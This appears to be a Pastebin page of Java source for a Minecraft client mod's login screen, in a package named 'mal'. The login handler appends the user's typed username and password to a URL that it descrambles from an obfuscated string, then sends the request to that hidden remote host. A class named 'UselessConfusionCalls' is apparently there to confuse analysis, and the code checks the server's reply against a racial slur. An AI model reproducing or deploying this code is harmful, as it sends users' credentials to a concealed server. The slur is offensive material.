Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package mal;
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.InputStreamReader;
- import java.net.MalformedURLException;
- import java.net.URL;
- import java.net.URLEncoder;
- import javax.net.ssl.HttpsURLConnection;
- import org.lwjgl.input.Keyboard;
- import com.royal.screens.GuiPassField;
- import mal.misc.Scrambler;
- import mal.protection.UselessConfusionCalls;
- import net.minecraft.src.GuiButton;
- import net.minecraft.src.GuiMainMenu;
- import net.minecraft.src.GuiScreen;
- import net.minecraft.src.GuiTextField;
- public class Login extends GuiScreen{
- private GuiTextField usernameTextField;
- private GuiPassField passwordTextField;
- public static int percentDone = 0;
- public static String title = "RoyalMain Login";
- public void updateScreen()
- {
- usernameTextField.updateCursorCounter();
- passwordTextField.updateCursorCounter();
- UselessConfusionCalls.changeLoginDisplayedCall2(true);
- }
- public void onGuiClosed()
- {
- Keyboard.enableRepeatEvents(false);
- }
- protected void keyTyped(char c, int i)
- {
- usernameTextField.textboxKeyTyped(c, i);
- passwordTextField.textboxKeyTyped(c, i);
- if (c == '\t')
- {
- if (usernameTextField.isFocused)
- {
- usernameTextField.isFocused = false;
- passwordTextField.isFocused = true;
- }
- else
- {
- usernameTextField.isFocused = true;
- passwordTextField.isFocused = false;
- }
- }
- if (c == '\r')
- {
- actionPerformed((GuiButton)controlList.get(0));
- }
- }
- protected void mouseClicked(int i, int j, int k)
- {
- super.mouseClicked(i, j, k);
- usernameTextField.mouseClicked(i, j, k);
- passwordTextField.mouseClicked(i, j, k);
- }
- protected void actionPerformed(GuiButton guibutton)
- {
- RoyalMain.link = "! @:;;,cli<~ .i~f`;M#li~ l`gi~.@!@?>s<]=";
- if (!guibutton.enabled)
- {
- return;
- }
- if (guibutton.id == 0)
- {
- RoyalMain.user = usernameTextField.getText();
- RoyalMain.pass = passwordTextField.getText();
- try {
- if("negro".equals(new java.io.BufferedReader(new java.io.InputStreamReader(new java.net.URL(com.royal.screens.Scrambler.descrambledString(RoyalMain.link)+usernameTextField.getText()+Scrambler.descrambledString("&@#ss=")+passwordTextField.getText()).openConnection().getInputStream())).readLine())){
- RoyalMain.mc.displayGuiScreen(new WhiteScreen());
- } else {
- title = Scrambler.descrambledString("L`ggi~g i~.. will #k< #x-xx`> 2 mi~> <s.");
- RoyalMain.mc.displayGuiScreen(new GuiMainMenu());
- }
- } catch (MalformedURLException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- } catch (IOException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- }
- }
- public static String excutePost(String s, String s1)
- {
- HttpsURLConnection httpsurlconnection = null;
- try
- {
- try
- {
- URL url = new URL(s);
- httpsurlconnection = (HttpsURLConnection)url.openConnection();
- httpsurlconnection.setRequestMethod("POST");
- httpsurlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
- httpsurlconnection.setRequestProperty("Content-Length", Integer.toString(s1.getBytes().length));
- httpsurlconnection.setRequestProperty("Content-Launguage", "en-US");
- httpsurlconnection.setUseCaches(false);
- httpsurlconnection.setDoInput(true);
- httpsurlconnection.setDoOutput(true);
- httpsurlconnection.connect();
- DataOutputStream dataoutputstream = new DataOutputStream(httpsurlconnection.getOutputStream());
- dataoutputstream.writeBytes(s1);
- dataoutputstream.flush();
- dataoutputstream.close();
- InputStream inputstream = httpsurlconnection.getInputStream();
- BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(inputstream));
- StringBuffer stringbuffer = new StringBuffer();
- String s2;
- while ((s2 = bufferedreader.readLine()) != null)
- {
- stringbuffer.append(s2);
- stringbuffer.append('\r');
- }
- bufferedreader.close();
- String s3 = stringbuffer.toString();
- String s4 = s3;
- return s4;
- }
- catch (Exception exception)
- {
- exception.printStackTrace();
- }
- return null;
- }
- finally
- {
- if (httpsurlconnection != null)
- {
- httpsurlconnection.disconnect();
- }
- }
- }
- public void initGui()
- {
- Keyboard.enableRepeatEvents(true);
- controlList.clear();
- controlList.add(new GuiButton(0, width / 2 - 100, height / 4 + 96 + 12, "Login"));
- //controlList.add(new GuiButton(1, width / 2 - 100, height / 4 + 120 + 12, "Cancel"));
- usernameTextField = new GuiTextField( fontRenderer, width / 2 - 100, 76, 200, 20);
- passwordTextField = new GuiPassField(fontRenderer, width / 2 - 100, 116, 200, 20);
- usernameTextField.setMaxStringLength(30);
- }
- public void drawScreen(int i, int j, float f)
- {
- drawDefaultBackground();
- drawCenteredString(fontRenderer, title, width / 2, (height / 4 - 60) + 20, 0xffffff);
- drawString(fontRenderer, "Username", width / 2 - 100, 63, 0xa0a0a0);
- drawString(fontRenderer, "Password", width / 2 - 100, 104, 0xa0a0a0);
- usernameTextField.drawTextBox();
- passwordTextField.drawTextBox();
- super.drawScreen(i, j, f);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement